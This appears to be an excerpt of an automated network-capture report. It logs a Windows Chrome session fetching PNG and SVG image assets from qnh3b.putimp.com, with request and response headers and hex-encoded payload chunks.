2024-04-16 19:40:12 UTC	764	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:12 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="uvDtFZCv0wFVvViM8VMRNhGDQANzFbqopDBnMwonX9jq8Iz80g3o34130" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FCNDritsMXqD3P4lXrffrhcqA2neYLjWBgNm5VKw1%2BHL%2FG6YgmE4Wujm%2Fn5AKd3q1LlqR%2BGxaCjdhT16BkAVoioiTp7%2F1UG8%2Bt8YeBFsz5n6vMYP%2BDkgqIDeT8IUZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a54cc871185f-ATL
2024-04-16 19:40:12 UTC	237	IN	Data Raw: 65 37 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: e7PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`
2024-04-16 19:40:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49797	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:11 UTC	1476	OUT	GET /wxE3kHI4ecDaCT9gFpugKXrs1qfSqI4b5zaAgB2RKb0F8Y0eR90180 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:13 UTC	759	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:12 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="wxE3kHI4ecDaCT9gFpugKXrs1qfSqI4b5zaAgB2RKb0F8Y0eR90180" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AKZjv7hGaCEf6GgTJlFIBVL3sZBL7AWWJaIqneeTXsCBd5g5Micqctf%2FKqoUqPR%2BkEanaJ3fbsTN7%2FYjBA3jklC3M%2BL2fS9zwwxABR7DJpQR1EY2JNp1hUFK3%2BcRzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a54c9d6d4539-ATL
2024-04-16 19:40:13 UTC	610	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 38 36 33 2c 33 34 2e 38 36 33 2c 30 2c 30 2c 31 2d 33 2e 36 2d 33 2e 31 35 33 2c 33 34 2e 36 2c 33 34 2e 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 37 2d 33 2e 36 30 36 2c 32 37 2e 37 31 37 2c 32 37 2e 37 31 37 2c 30 2c 30 2c 31 2d 32 2e 34 35 36 2d 33 2e 38 37 36 41 32 32 2e 32 2c 32 32 2e 32 2c 30 2c 30 2c 31 2c 36 2e 35 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 Data Ascii: 863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3
2024-04-16 19:40:13 UTC	933	IN	Data Raw: 2d 2e 39 36 37 2e 35 36 36 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2d 31 2e 32 31 31 2e 32 32 36 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 31 2e 33 33 33 2d 2e 32 37 2c 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 31 2e 31 32 34 2d 2e 37 35 38 6c 2d 38 2e 33 30 39 2d 38 2e 33 30 39 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 Data Ascii: -.967.566,3.062,3.062,0,0,1-1.211.226,3.375,3.375,0,0,1-1.333-.27,3.52,3.52,0,0,1-1.124-.758l-8.309-8.309a3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357
2024-04-16 19:40:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49799	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:11 UTC	1470	OUT	GET /opqRXS70VBE6D4xIXErMP9YghJL6HBfcH0bVXg3GFVCef200 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:12 UTC	749	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:12 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="opqRXS70VBE6D4xIXErMP9YghJL6HBfcH0bVXg3GFVCef200" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BNOW9GhWYPJRWAk2E8m3lTEkMySEGmvfFw9g%2B8jrBMjJlepZKlt3XUiTLA41nHJMwDgdDYaWXRXbKwvcPd7V43czZrUxhh5fgjS7tBWt6zxFniTeCAd75Aar0Xy8%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a54dbad2adcf-ATL
2024-04-16 19:40:12 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-04-16 19:40:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49801	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:11 UTC	1118	OUT	GET /mnxoZafsKDuxUqjsrPcbj6GUIUShAhijNmBHuhIpjAkspqBG3juv220 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:15 UTC	754	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnxoZafsKDuxUqjsrPcbj6GUIUShAhijNmBHuhIpjAkspqBG3juv220" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9tnWU3PQJxYmm3SS2whNOILGui6GvOtkXewQiZqO9sirGA2bwYUZ2WnTxGaazrwhyBUvsC7tFix4%2B31soyW9jRzOw99CRIBEbi%2FsnRF0hHj886PtQiTWILawQl6nDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a54f58f26740-ATL
2024-04-16 19:40:15 UTC	615	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-16 19:40:15 UTC	1256	IN	Data Raw: 32 34 36 20 30 20 31 32 34 39 2e 38 2d 34 35 35 2e 35 39 35 20 31 32 34 39 2e 38 2d 31 30 31 37 2e 36 53 39 35 36 2e 30 34 36 2d 38 31 39 2e 36 20 32 36 35 2e 38 2d 38 31 39 2e 36 2d 39 38 34 2d 33 36 34 2e 30 30 35 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 Data Ascii: 246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) r
2024-04-16 19:40:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49800	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:11 UTC	1492	OUT	GET /ijAHK25XxOXMFvIOtUy4tinE6RrAmRLZiVjc39gWxyjeDJrHll6oDyjjUUYj5jKyD12207 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:12 UTC	775	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:12 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijAHK25XxOXMFvIOtUy4tinE6RrAmRLZiVjc39gWxyjeDJrHll6oDyjjUUYj5jKyD12207" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IUbohLuTY5jxx%2FfInytQJ7khCZkuClqvtvOJk1sqIoEXeV6hpJMsXC92fAEt%2Fbz4OnPtf%2FAf1t%2FSb4V6qUeCkNRsQcgVYF%2F2OBjk%2F5XYxAJWHYvG9oaasKBG%2BR91FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a54f4bbbb030-ATL
2024-04-16 19:40:12 UTC	594	IN	Data Raw: 32 64 31 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 Data Ascii: 2d14PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-04-16 19:40:12 UTC	1369	IN	Data Raw: dc 46 02 7b 92 1a 36 76 21 ad 04 e0 31 7b ad 59 a4 95 39 6e 67 fe 04 f4 53 a1 89 54 46 83 49 cd 1a 3b 03 6f 26 35 41 ad 1c 9a a8 bc 26 01 77 02 b7 02 7f 24 35 4a cd 0e 4d 24 49 92 24 49 92 24 49 92 24 d5 9c cd 00 e5 d2 03 bc 01 d8 b7 51 3b 92 b6 49 51 f3 c6 91 1a 39 6e 05 6e 6c fc 5a dd 65 08 b0 13 b0 1b a9 01 6a 07 60 68 64 a0 0a 7b 01 f8 3d 70 2d 70 3d 6e b9 22 49 92 24 49 92 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 Data Ascii: F{6v!1{Y9ngSTFI;o&5A&w$5JM$I$I$I$Q;IQ9nnlZej`hd{=p-p=n"I$I$I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$
